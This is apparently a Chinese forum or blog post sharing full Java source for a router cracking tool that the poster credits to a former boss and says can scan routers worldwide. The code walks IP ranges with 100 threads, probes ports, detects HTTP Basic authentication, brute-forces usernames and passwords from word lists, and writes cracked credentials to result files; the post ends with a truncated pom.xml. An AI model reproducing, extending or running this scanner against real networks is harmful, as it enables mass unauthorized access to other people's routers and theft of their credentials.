这个源码不是本人写的,是我原来的领导写的,我们都叫他东哥,这个是东留给我的一个小资源,好佩服他哦,这个东西可以用来扫描全世界的路由器,破解路由器账户和密码

当然是简单的了。我能力不够没有更完善的补充下。希望有能力的人做成界面形式,帮忙完善下。

1.java代码:

package cn.com.cisec.routercrack;

import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.List;
import java.util.Properties; public class App {
private static String tag = App.class.getSimpleName();
/**
* ping超时时间
*/
public static int pingTimeout = 5000;
/**
* socket链接超时时间
*/
public static int socketTimeout =5000;
/**
* http请求超时时间
*/
public static int httpTimeout =5000;
/**
* 线程数量
*/
public static int threadCount =100; public static List<Integer> ports ; public static List<String> routerInfo ; public static void main(String[] args) {
//MainFrame.createAndShowGUI();
start();//开始执行破解线程
}
/**
* 开始破解
*/
public static void start(){
initConfig();
List<Thread> list = new ArrayList<Thread>();
for (int i = 0; i < threadCount; i++) {
Thread t =new CrackThread(pingTimeout,socketTimeout,httpTimeout,ports,routerInfo);
list.add(t);
t.start();
}
//等待线程执行完毕
for(Thread t : list){
try {
t.join();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
// new CrackThread().start();
//线程执行结束需要关闭打开的文件
CrackThread.writer.close();
LogUtil.i(tag, "程序结束");
}
/**
* 初始化配置文件
*/
public static void initConfig(){
Properties p = null;
try {
InputStream in = new BufferedInputStream(new FileInputStream(FileUtil.getConfigFile()));
p = new Properties();
p.load(in);
threadCount = Integer.parseInt(p.getProperty("threadCount","5000").trim());
pingTimeout = Integer.parseInt(p.getProperty("pingTimeout","5000").trim());
socketTimeout = Integer.parseInt(p.getProperty("socketTimeout","5000").trim());
httpTimeout = Integer.parseInt(p.getProperty("httpTimeout","5000").trim());
String portsString = p.getProperty("ports", "80").trim();
String[] portArray = portsString.split(",");
ports=new ArrayList<Integer>();
for(String portSting:portArray){
ports.add(Integer.parseInt(portSting));
}
String routerInfoString = p.getProperty("routerInfo","route,Router,TD").trim();
String[] routerInfoArray = routerInfoString.split(",");
routerInfo = new ArrayList<String>();
for(String routerStr:routerInfoArray){
routerInfo.add(routerStr);
}
} catch (Exception e) {
//e.printStackTrace();
LogUtil.i(tag, "读取配置文件失败,使用默认配置");
//System.exit(0);
ports=new ArrayList<Integer>();
ports.add(80);
routerInfo = new ArrayList<String>();
routerInfo.add("router");
}
}
}
package cn.com.cisec.routercrack;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException; public class ConfigFileReader {
private static String tag =ConfigFileReader.class.getSimpleName();
/**
*用户名配置文件
*/
private BufferedReader userReader;
/**
* 密码配置文件
*/
private BufferedReader passwordReader; public ConfigFileReader(){
File userConfigFile =FileUtil.getUserConfigFile();
File passwordConfigFile = FileUtil.getPasswordConfigFile();
try {
userReader = new BufferedReader(new FileReader(userConfigFile));
passwordReader = new BufferedReader(new FileReader(passwordConfigFile));
} catch (FileNotFoundException e) {
LogUtil.i(tag, "用户名或密码配置文件没有找到,请检查config目录下是否存在配置文件");
e.printStackTrace();
} }
/**
* 获取用户名
*
* @return 如果为null则读取结束
*/
public String getUser(){
String user=null;
try {
user = userReader.readLine();
if(user==null){
userReader.close();
}
} catch (IOException e) {
e.printStackTrace();
}
return user;
}
/**
* 获取密码
*
* @return 如果为null则读取结束
*/
public String getPassword(){
String password=null;
try {
password = passwordReader.readLine();
if(password==null){
passwordReader.close();
}
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return password;
} public void close(){ try {
passwordReader.close();
userReader.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
package cn.com.cisec.routercrack;

import java.io.IOException;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketAddress;
import java.net.UnknownHostException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit; import org.apache.commons.codec.binary.Base64;
import org.apache.http.Header;
import org.apache.http.HttpResponse;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.impl.conn.BasicHttpClientConnectionManager; public class CrackThread extends Thread {
private static String tag = CrackThread.class.getSimpleName();
private static int count = 0;
private boolean isStop = false;
/**
* 记录是哪个线程
*/
private int who;
private static IpFactory ipFactory = IpFactory.getInstance();
public static ResultFileWriter writer = ResultFileWriter.getInstance();
/**
* ping测试的超时时间
*/
private int pingTimeout;
/**
* socket链接测试的超时时间
*/
private int socketTimeout;
/**
* 是路由器的标示
*/
public List<String> routerInfo ;
/**
* http请求超时时间
*/
private int httpTimeout; /**
* 需要扫描的端口号
*/
public List<Integer> ports ;
public CrackThread(int pingTimeout, int socketTimeout, int httpTimeout,List<Integer> ports,List<String> routerInfo) {
count++;
who = count;
this.pingTimeout=pingTimeout;
this.socketTimeout=socketTimeout;
this.ports=ports;
this.routerInfo =routerInfo;
this.httpTimeout=httpTimeout;
} @Override
public void run() { while (!isStop) {
String ip = ipFactory.getIp();
if (ip == null) {
isStop = true;
} else {
//LogUtil.i("CrackThread" + who,"获取ip地址:"+ ip);
boolean isPingOk =isAddressAvailable(ip);
if(isPingOk){
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"可达");
writer.writeActivateIp(ip);
//测试端口是否可达
for(int port:ports){
boolean isPortOk = isPortAvailable(ip,port);
if(isPortOk){
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"开启");
writer.writeOpenPortInfo(ip,port);
Map<String,Object> basicInfo =getBasicInfo(ip,port);
boolean isBasic = (boolean) basicInfo.get(IS_BASIC);
if(isBasic){
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式");
writer.writeBasicInfo(ip,port);
String headInfo = (String) basicInfo.get(WWW_AUTHENTICATE);//获得头信息
boolean isRouter =false;
for(String info:routerInfo){
if(headInfo.contains(info)){
isRouter=true;
break;
}
}
if(isRouter){
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式且是路由器");
writer.writeRouterInfo(ip, port);
}else{
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式不是路由器");
}
Map<String,Object> crackResultInfo = crackBasic(ip, port);
boolean isCrackOk = (boolean) crackResultInfo.get(IS_CRACK_OK);
if(isCrackOk){
String user = (String) crackResultInfo.get(USERNAME_OK);
String password = (String) crackResultInfo.get(PASSWORD_OK);
if(isRouter){
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式且是路由器,破解成功用户名:"+user+",密码:"+password);
writer.writeRouterOkInfo(ip, port,user, password);
}else{
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式,破解成功用户名:"+user+",密码:"+password);
writer.writeBasicOkInfo(ip, port,user, password,headInfo);
} }else{
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式,破解失败");
} }else{
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"不是Basic认证方式");
}
/*boolean isBasic = isBasic(ip,port);
if(isBasic){
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式");
writer.writeBasicInfo(ip,port);
}else{
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"不是Basic认证方式");
}*/ }else{
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的"+"端口"+port+"未开启");
}
}
}else{
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"不可达");
}
}
/*
* try { sleep(3000); } catch (InterruptedException e) { // TODO
* Auto-generated catch block e.printStackTrace(); }
*/
}
}
/**
* basic反馈的信息长量
*/
private static final String IS_BASIC="isBasic";
/**
* 反馈的头信息
*/
private static final String WWW_AUTHENTICATE="WWW-Authenticate";
/**
* basic状态码
*/
private static final int BASIC_STATUSCODE=401;
/**
* 获取basic的相关信息
* @param ip
* @param port
* @return 返回的map对象包含是否basic认证key=isBasic,basic认证的头部信息等key=WWW-Authenticate
*/
public Map<String,Object> getBasicInfo(String ip,int port){
Map<String, Object> result = new HashMap<String, Object>();
HttpClientBuilder builder = HttpClientBuilder.create();
BasicHttpClientConnectionManager connManager = new BasicHttpClientConnectionManager() ;
connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);
builder.setConnectionManager(connManager);
HttpClient client = builder.build();
HttpGet httpGet = new HttpGet("http://"+ip+":"+port);
try {
HttpResponse response = client.execute(httpGet);
LogUtil.d(tag,response.getStatusLine().getStatusCode()+"");
if(BASIC_STATUSCODE==response.getStatusLine().getStatusCode()){
result.put(IS_BASIC, true);
Header[] hs = response.getHeaders(WWW_AUTHENTICATE);
for(Header h:hs){
String headInfo = h.getValue();//服务器反馈的WWW_AUTHENTICATE头信息
//LogUtil.d(tag,headInfo);
//String[] infos = headInfo.split("\"");
/*for(String i:infos){
LogUtil.d(tag,i);
}*/
result.put(WWW_AUTHENTICATE, headInfo);
}
}else{
result.put(IS_BASIC, false);
}
} catch (Exception e) {
//e.printStackTrace();
result.put(IS_BASIC, false);
} return result;
}
/**
* 认证basic的头
*/
private static final String AUTHORIZATION="Authorization";
/**
* 是否破解成功
*/
private static final String IS_CRACK_OK="is_crack_ok"; private static final String USERNAME_OK ="user";
private static final String PASSWORD_OK="password";
/**
* 对basic进行破解,成功反馈相关信息
* @param ip
* @param port
* @return
*/
public Map<String,Object> crackBasic(String ip,int port){
ConfigFileReader reader = new ConfigFileReader();
boolean userReadOk =false;
while(!userReadOk){
String user = reader.getUser();
if(user!=null){
boolean passwordReadOk=false;
while(!passwordReadOk){
String password = reader.getPassword();
if(password!=null){
HttpClientBuilder builder = HttpClientBuilder.create();
BasicHttpClientConnectionManager connManager = new BasicHttpClientConnectionManager() ;
connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);
builder.setConnectionManager(connManager);
HttpClient client = builder.build();
HttpGet httpGet = new HttpGet("http://"+ip+":"+port);
String value=user+":"+password;
value = Base64.encodeBase64String(value.getBytes());
value="Basic "+value;
LogUtil.d(tag, value);
httpGet.setHeader(AUTHORIZATION, value);
//Authorization:"Basic YWRtaW46MTIzcXdlMTIz"
try {
HttpResponse response = client.execute(httpGet);
if(response.getStatusLine().getStatusCode()==200){
Map<String,Object> result = new HashMap<String, Object>();
result.put(IS_CRACK_OK, true);
result.put(USERNAME_OK,user);
result.put(PASSWORD_OK, password); return result;
}
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}else{
passwordReadOk=true;
}
}
}else{
userReadOk=true;
} }
Map<String,Object> result = new HashMap<String, Object>();
result.put(IS_CRACK_OK, false);
return result;
} /**
* 判断是否basic认证
* @param ip
* @param port
* @return
*/
public boolean isBasic(String ip,int port){
int basicStatusCode=401;
HttpClientBuilder builder = HttpClientBuilder.create();
BasicHttpClientConnectionManager connManager = new BasicHttpClientConnectionManager() ;
connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);
builder.setConnectionManager(connManager);
HttpClient client = builder.build();
HttpGet httpGet = new HttpGet("http://"+ip+":"+port);
try {
HttpResponse response = client.execute(httpGet);
LogUtil.d(tag,response.getStatusLine().getStatusCode()+"");
if(basicStatusCode==response.getStatusLine().getStatusCode()){
return true;
}
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return false;
} /**
* ip地址是否可达
* @param ip
* @return
*/
public boolean isAddressAvailable(String ip) {
try {
InetAddress address = InetAddress.getByName(ip);
return address.isReachable(App.pingTimeout);
} catch (UnknownHostException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return false;
}
/**
* 端口是否开启
* @param ip
* @param port
* @return
*/
public boolean isPortAvailable(String ip,int port){
Socket socket = new Socket();
SocketAddress endpoint;
try {
endpoint = new InetSocketAddress(InetAddress.getByName(ip), port);
socket.connect(endpoint,App.socketTimeout);
socket.close();
return true;
} catch (Exception e) {
//e.printStackTrace();
return false;
}
}
}
package cn.com.cisec.routercrack;

import java.io.File;
import java.net.URL;
import java.util.ArrayList;
import java.util.List; public class FileUtil {
/**
* syslog应用程序被打包成为jar包发布。在syslog服务中,需要在jar文件位置创建临时文件夹,以保存数据。
* 临时文件夹:1 读文件中,ftp到中央日志服务的文件,被放到临时文件夹后再读。
* 2 分析会后的日志,保存一个月。如果选择了备份,则把每天需要备份的文件移动到一个临时备份文件夹。
* 逻辑:如果getDirFromClassLoader()方法计算不出来path,就取System.getProperty("user.dir")用户工作目录
* */
public static String getJarDir(){
String path = getDirFromClassLoader();
if(path == null){
path = System.getProperty("user.dir");
}
return path;
} /**
* 从通过Class Loading计算路径:
* 1 class文件通过jar包加载:
* 如果为jar包,该包为d:/test/myProj.jar
* 该方法返回d:/test这个目录(不受用户工作目录影响)
* 提示:在jar包加载 的时候,通过指定加载FileUtil的class资源得到jar:<url>!/{entry}计算出加载路径
* 2 class文件直接被加载:
* 如果是web工程,class文件放在D:\tools\apache-tomcat-5.5.27\webapps\webProj\WEB-INF\classes
* 该方法返回D:\tools\apache-tomcat-5.5.27\webapps\webProj\WEB-INF
* 即返回放class文件夹的上一层目录。
* */
private static String getDirFromClassLoader(){
try {
String path = FileUtil.class.getName().replace(".", "/");
path ="/"+path+".class";
URL url=FileUtil.class.getResource(path);
String jarUrl= url.getPath();
if(jarUrl.startsWith("file:")){
if(jarUrl.length()>5){
jarUrl = jarUrl.substring(5);
}
jarUrl = jarUrl.split("!")[0]; }else{
jarUrl = FileUtil.class.getResource("/").toString().substring(5);
}
File file = new File(jarUrl);
return file.getParent(); } catch (Exception e) {
}
return null;
} /**
* 找出指定目录及其子目录下,满足指定后缀的文件的绝对路径。
* 提示:方法中出现异常被内部捕获。
* @param dir 指定目录
* @param suffix 文件名后缀
*
* @throws IllegalArgumentException
* */
public static List<String> find(String dir,String suffix){
List<String> list = new ArrayList<String>();
try {
File file = new File(dir);
if(file.exists() && file.isDirectory()){
find(file, suffix, list);
}else{
throw new IllegalArgumentException("param \"dir\" must be an existing directory .dir = "+dir);
}
} catch (Exception e) {
e.getMessage();
}
return list;
}
/**
* 递归遍历,查找满足后缀的文件
* @param dirFile 必须为一个存在的目录.不能为null
* @param suffix
* @param list 递归遍历目录记录满足后缀的文件的绝对路径。
* */
private static void find(File dirFile,String suffix,List<String> list){
if(dirFile.exists() && dirFile.isDirectory()){
File[] subFiles = dirFile.listFiles();
for(File subFile : subFiles) {
if(subFile.isDirectory()){
find(subFile, suffix, list);
}else{
String path = subFile.getAbsolutePath();
if(path.endsWith(suffix)){
list.add(path);
}
}
}
}else{
throw new IllegalArgumentException("param \"dir\" must be an existing directory .dir = "+dirFile.getAbsolutePath());
}
}
/**
* 获得IP地址配置文件
* @return
*/
public static File getIpConfigFile(){
return new File(getJarDir()+"/config/","ips.txt");
}
/**
* 获得用户名配置文件
* @return
*/
public static File getUserConfigFile(){
return new File(getJarDir()+"/config/","users.txt");
}
/**
* 获得密码配置文件
* @return
*/
public static File getPasswordConfigFile(){
return new File(getJarDir()+"/config/","passwords.txt");
}
/**
* 记录ping成功的ip
* @return
*/
public static File getActivateIpsFile(){
return new File(getJarDir()+"/result/","activityIps.txt");
}
/**
* 记录打开端口的ip
* @return
*/
public static File getOpenPortIpsFile(){
return new File(getJarDir()+"/result/","openPortInfos.txt");
}
/**
* 记录是basic认证的ip
* @return
*/
public static File getBasicIpsFile(){
return new File(getJarDir()+"/result/","basicInfos.txt");
}
/**
* 记录basic认证破解成功的ip 用户名和密码
* @return
*/
public static File getBasicOkFile(){
return new File(getJarDir()+"/result/","basicOkInfos.txt");
}
/**
* 记录是basic认证但是路由的信息
* @return
*/
public static File getRouterFile(){
return new File(getJarDir()+"/result/","routerInfos.txt");
}
/**
* 记录是basic认证是路由破解成功的信息
* @return
*/
public static File getRouterOkFile(){
return new File(getJarDir()+"/result/","routerOkInfos.txt");
}
public static File getConfigFile(){
return new File(getJarDir()+"/config/","config.properties");
}
}
package cn.com.cisec.routercrack;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern; public class IpFactory { /**
* IP地址配置文件路径
*/
private File ipsFile; /**
* 是否需要读取文件
*/
private boolean isRead=true; private long minIpValue;
private long maxIpValue;
private long currentIPValue; private static IpFactory factory=null;
/**
* 读取Ip地址配置文件
*/
private BufferedReader reader; private IpFactory(){
ipsFile = FileUtil.getIpConfigFile();
try {
reader = new BufferedReader(new FileReader(ipsFile));
} catch (FileNotFoundException e) {
LogUtil.i("IpFactory","错误:IP地址配置文件没有找到!");
System.exit(0);
}
}
/**
* 获取工厂实例
* @return
*/
public static IpFactory getInstance(){
if(factory==null){
factory = new IpFactory();
}
return factory;
}
/**
* 加载IP配置文件中的数据到内存中
* @return 如果加载完成返回false 否则为true
*/
private boolean loadIps(){
try {
String net = reader.readLine();
if(net==null){
//reader.close();
return false;
}else{
//读取到的内容不为NULL
net.replace(" ", "");
if(IpUtil.isNet(net)){
String ip =net.substring(0, net.lastIndexOf("/"));
int mask = Integer.parseInt(net.substring(net.lastIndexOf("/")+1));
minIpValue = IpUtil.getMinIpValue(ip, mask);
maxIpValue = IpUtil.getMaxIpValue(ip, mask);
currentIPValue=minIpValue;
//设置是否需要读取
isRead=false;
return true;
}else if(IpUtil.isNetRange(net)){
String[] ipArray = net.split("-");
long tmpMin = IpUtil.getIpValue(ipArray[0]);
long tmpMax =IpUtil.getIpValue(ipArray[1]);
if(tmpMax>tmpMin){
maxIpValue=tmpMax;
minIpValue=tmpMin;
currentIPValue=minIpValue;
}else{
maxIpValue=tmpMin;
minIpValue=tmpMax;
currentIPValue=tmpMax;
}
isRead=false;
return true;
}else{
//不是网络地址,从新读取
return loadIps();
}
}
} catch (IOException e) {
LogUtil.i("IpFactory.loadIps()", "错误:无法读取IP地址配置文件!");
//System.exit(0);
return false;
} }
/**
* 提供给线程获取IP地址
* @return 返回null则读取完成
*/
public synchronized String getIp(){
if(isRead){
//是否需要读取ip
if(!loadIps()){
//读取完成
return null;
}
}
if(currentIPValue>=minIpValue&&currentIPValue<=maxIpValue){
String ip =IpUtil.valueToIp(currentIPValue);
currentIPValue++;
return ip;
}else{
isRead=true;
return getIp();
}
}
}
package cn.com.cisec.routercrack;

import java.util.StringTokenizer;
import java.util.logging.LogManager;
import java.util.regex.Matcher;
import java.util.regex.Pattern; public class IpUtil { /**
* 获得实际的掩码的值
*
* @param mask
* @return
*/
public static long getMaskValue(int mask) {
return ((long) Math.pow(2, mask) - 1) << (32 - mask);
} /**
* 获得掩码的反码的值
*
* @param mask
* @return
*/
public static long getUnMaskValue(int mask) {
return (long) (Math.pow(2, 32 - mask) - 1);
} /**
* 根据IP地址获得它对应的值
*
* @param ipAddress
* @return
*/
public static long getIpValue(String ipAddress) {
StringTokenizer tokenizer = new StringTokenizer(ipAddress, ".");
int a = Integer.parseInt(tokenizer.nextToken());
int b = Integer.parseInt(tokenizer.nextToken());
int c = Integer.parseInt(tokenizer.nextToken());
int d = Integer.parseInt(tokenizer.nextToken());
// System.out.println(a+"."+b+"."+c+"."+d);
LogUtil.d("IpUtil.getIpValue", "转换的IP地址:" + a + "." + b + "." + c + "."
+ d);
long value = 0;
value = ((long) a) << 24;
value += ((long) b) << 16;
value += ((long) c) << 8;
value += d;
LogUtil.d("IpUtil.getIpValue", "ip地在转换后的值:" + value);
return value;
} /**
* 根据IP地址和掩码获得网络地址的值
*
* @param ipAddress
* @param mask
* @return
*/
public static long getNetValue(String ipAddress, int mask) {
long ipValue = getIpValue(ipAddress);
long maskValue = getMaskValue(mask);
//System.out.println("========================="+ipValue);
//System.out.println("============================"+maskValue);
//System.out.println("========="+(ipValue & maskValue));
return ipValue & maskValue;
} /**
* 获得最小的IP地址的值
*
* @param ipAddress
* @param mask
* @return
*/
public static long getMinIpValue(String ipAddress, int mask) {
if (mask >= 0 && mask <= 32) {
if (isIp(ipAddress)) {
//return getNetValue(ipAddress, mask) + 1;
return getNetValue(ipAddress, mask);
} else {
new IllegalArgumentException("错误:Ip格式不正确");
}
} else {
new IllegalArgumentException("错误:掩码应该大于等于0小于等于32");
}
return -1;
} /**
* 获得最大的IP的值
*
* @param ipAddress
* @param mask
* @return
*/
public static long getMaxIpValue(String ipAddress, int mask) {
if (mask >= 0 && mask <= 32) {
if (isIp(ipAddress)) {
//System.out.println("===="+getNetValue(ipAddress, mask));
//System.out.println("===="+getUnMaskValue(mask));
//return getNetValue(ipAddress, mask)+getUnMaskValue(mask)-1 ;
return getNetValue(ipAddress, mask)+getUnMaskValue(mask);
} else {
new IllegalArgumentException("错误:Ip格式不正确");
}
} else {
new IllegalArgumentException("错误:掩码应该大于等于0小于等于32");
}
return -1;
} /**
* 判断是否为IP地址
*
* @param ipAddress
* @return
*/
public static boolean isIp(String ipAddress) {
String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$";
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(ipAddress);
if(m.matches()){
StringTokenizer tokenizer = new StringTokenizer(ipAddress, ".");
int a = Integer.parseInt(tokenizer.nextToken());
int b = Integer.parseInt(tokenizer.nextToken());
int c = Integer.parseInt(tokenizer.nextToken());
int d = Integer.parseInt(tokenizer.nextToken());
if(a>0&&a<=255&&b>=0&&b<=255&&c>=0&&c<=255&&d>=0&&d<=255){
return true;
}else{
return false;
}
}else{
return false;
}
}
/**
* 判断是否网络
* @param net
* @return
*/
public static boolean isNet(String net){
String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\/\\d{1,2}$";
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(net);
if(m.matches()){
String ip =net.substring(0, net.lastIndexOf("/"));
LogUtil.d("IpUtil.isNet()", "ip地址:"+ip);
if(isIp(ip)){
int mask = Integer.parseInt(net.substring(net.lastIndexOf("/")+1));
if(mask>=0&&mask<=32){
return true;
}else{
return false;
}
}else{
return false;
} }else{
return false;
}
}
/**
* 是网络范围192.168.1.1-192.168.1.254
* @param net
* @return
*/
public static boolean isNetRange(String net) {
String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\-\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$";
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(net);
if(m.matches()){
String[] ipArray = net.split("-");
if(isIp(ipArray[0])&&isIp(ipArray[1])){
return true;
}else{
return false;
}
}else{
return false;
}
}
/**
* long转换为IP地址
* @param value
* @return
*/
public static String valueToIp(long value) {
long maxValue = 4294967295L;
if (value > maxValue) {
new IllegalArgumentException("错误:超出最大的值");
return null;
} else {
long a, b, c, d;
a = (long) (value & 0x00000000ff000000) >> 24; b = (long) (value & 0x0000000000ff0000) >> 16;
c = (long) (value & 0x000000000000ff00) >> 8;
d = (long) (value & 0x00000000000000ff);
return a + "." + b + "." + c + "." + d;
}
} }
package cn.com.cisec.routercrack;

public class LogUtil {
/**
* 调试信息
* @param tag
* @param msg
*/
public static void d(String tag,String msg){
//System.out.println(tag+"====>>"+msg);
}
/**
* 输出信息
* @param tag
* @param msg
*/
public static void i(String tag,String msg){
System.out.println(tag+"====>>"+msg);
}
}
package cn.com.cisec.routercrack;

import java.awt.BorderLayout;
import java.awt.Dimension;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener; import javax.swing.GroupLayout;
import javax.swing.GroupLayout.Alignment;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField; public class MainFrame extends JFrame implements ActionListener {
/**
*
*/
private static final long serialVersionUID = 765875537593801454L; public MainFrame() {
super("路由破解"); int frameWidth=800;//窗口宽度
int frameHeight=600;//窗口高度
Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
setBounds((screenSize.width-frameWidth)/2, (screenSize.height-frameHeight)/2,frameWidth,frameHeight);//显示在屏幕中间
//主窗口布局
BorderLayout layout = new BorderLayout();
JPanel contentPanel = new JPanel();
contentPanel.setLayout(layout);
//配置窗口
JPanel configPanel = new JPanel();
JLabel label1= new JLabel("test1");
JLabel label2 = new JLabel("test2");
JTextField tf1=new JTextField();
JTextField tf2 = new JTextField();
GroupLayout configPanelLayout = new GroupLayout(configPanel);
configPanel.setLayout(configPanelLayout); // Turn on automatically adding gaps between components
configPanelLayout.setAutoCreateGaps(true); // Turn on automatically creating gaps between components that touch
// the edge of the container and the container.
configPanelLayout.setAutoCreateContainerGaps(true); // Create a sequential group for the horizontal axis. GroupLayout.SequentialGroup hGroup = configPanelLayout.createSequentialGroup(); // The sequential group in turn contains two parallel groups.
// One parallel group contains the labels, the other the text fields.
// Putting the labels in a parallel group along the horizontal axis
// positions them at the same x location.
//
// Variable indentation is used to reinforce the level of grouping.
hGroup.addGroup(configPanelLayout.createParallelGroup().
addComponent(label1).addComponent(label2));
hGroup.addGroup(configPanelLayout.createParallelGroup().
addComponent(tf1).addComponent(tf2));
configPanelLayout.setHorizontalGroup(hGroup); // Create a sequential group for the vertical axis.
GroupLayout.SequentialGroup vGroup = configPanelLayout.createSequentialGroup(); // The sequential group contains two parallel groups that align
// the contents along the baseline. The first parallel group contains
// the first label and text field, and the second parallel group contains
// the second label and text field. By using a sequential group
// the labels and text fields are positioned vertically after one another.
vGroup.addGroup(configPanelLayout.createParallelGroup(Alignment.BASELINE).
addComponent(label1).addComponent(tf1));
vGroup.addGroup(configPanelLayout.createParallelGroup(Alignment.BASELINE).
addComponent(label2).addComponent(tf2));
configPanelLayout.setVerticalGroup(vGroup); JPanel resultPanel = new JPanel(); contentPanel.add(configPanel, BorderLayout.CENTER);
contentPanel.add(resultPanel, BorderLayout.SOUTH); setContentPane(contentPanel);
} //React to menu selections.
public void actionPerformed(ActionEvent e) {
if ("new".equals(e.getActionCommand())) { //new
// createFrame();
} else { //quit
quit();
}
} protected void quit() {
System.exit(0);
} public static void createAndShowGUI() {
MainFrame frame = new MainFrame();
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setVisible(true);
}
}
package cn.com.cisec.routercrack;

import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.PrintWriter; public class ResultFileWriter {
private static ResultFileWriter resultFileWriter;
/**
* 激活的ip
*/
private PrintWriter activateIpsWriter;
/**
* 端口开启
*/
private PrintWriter openPortInfoWriter;
/**
* 是basic认证的IP地址
*/
private PrintWriter basicInfoWriter;
/**
* 破解basic成功的信息
*/
private PrintWriter basicOkInfoWriter; private PrintWriter routerInfoWriter; private PrintWriter routerOkInfoWriter; private ResultFileWriter(){
File activateIpsFile = FileUtil.getActivateIpsFile();
File openPortIpsFile = FileUtil.getOpenPortIpsFile();
File basicIpsFile = FileUtil.getBasicIpsFile();
File basicOkInfoFile = FileUtil.getBasicOkFile(); try {
activateIpsWriter= new PrintWriter(new FileWriter(activateIpsFile));
openPortInfoWriter = new PrintWriter(new FileWriter(openPortIpsFile));
basicInfoWriter = new PrintWriter(new FileWriter(basicIpsFile));
basicOkInfoWriter = new PrintWriter(new FileWriter(basicOkInfoFile));
routerInfoWriter = new PrintWriter(new FileWriter(FileUtil.getRouterFile()));
routerOkInfoWriter = new PrintWriter(new FileWriter(FileUtil.getRouterOkFile()));
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} }
public static ResultFileWriter getInstance(){
if(resultFileWriter==null){
resultFileWriter = new ResultFileWriter();
}
return resultFileWriter;
} public synchronized void writeActivateIp(String ip){
activateIpsWriter.println(ip);
activateIpsWriter.flush();
} public synchronized void writeOpenPortInfo(String ip,int port){
openPortInfoWriter.println(ip+","+port);
openPortInfoWriter.flush();
} public synchronized void writeBasicInfo(String ip,int port){
basicInfoWriter.println(ip+","+port);
basicInfoWriter.flush();
} public synchronized void writeBasicOkInfo(String ip,int port,String user,String password){
basicOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password);
basicOkInfoWriter.flush();
} public synchronized void writeRouterInfo(String ip,int port){
routerInfoWriter.println(ip+","+port);
routerInfoWriter.flush();
} public synchronized void writeRouterOkInfo(String ip,int port,String user,String password){
routerOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password);
routerOkInfoWriter.flush();
} public void close(){
activateIpsWriter.flush();
activateIpsWriter.close();
openPortInfoWriter.flush();
openPortInfoWriter.close();
basicInfoWriter.flush();
basicInfoWriter.close();
basicOkInfoWriter.flush();
basicOkInfoWriter.close();
routerOkInfoWriter.flush();
routerOkInfoWriter.close();
routerInfoWriter.flush();
routerInfoWriter.close(); }
/**
* 将IP地址 端口 用户名 密码 头信息写入文件
* @param ip
* @param port
* @param user
* @param password
* @param headInfo
*/
public void writeBasicOkInfo(String ip, int port, String user,
String password, String headInfo) {
basicOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password+",headInfo="+headInfo);
basicOkInfoWriter.flush();
}
}

2.最最重要的是maven项目的pom.xml文件配置

pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
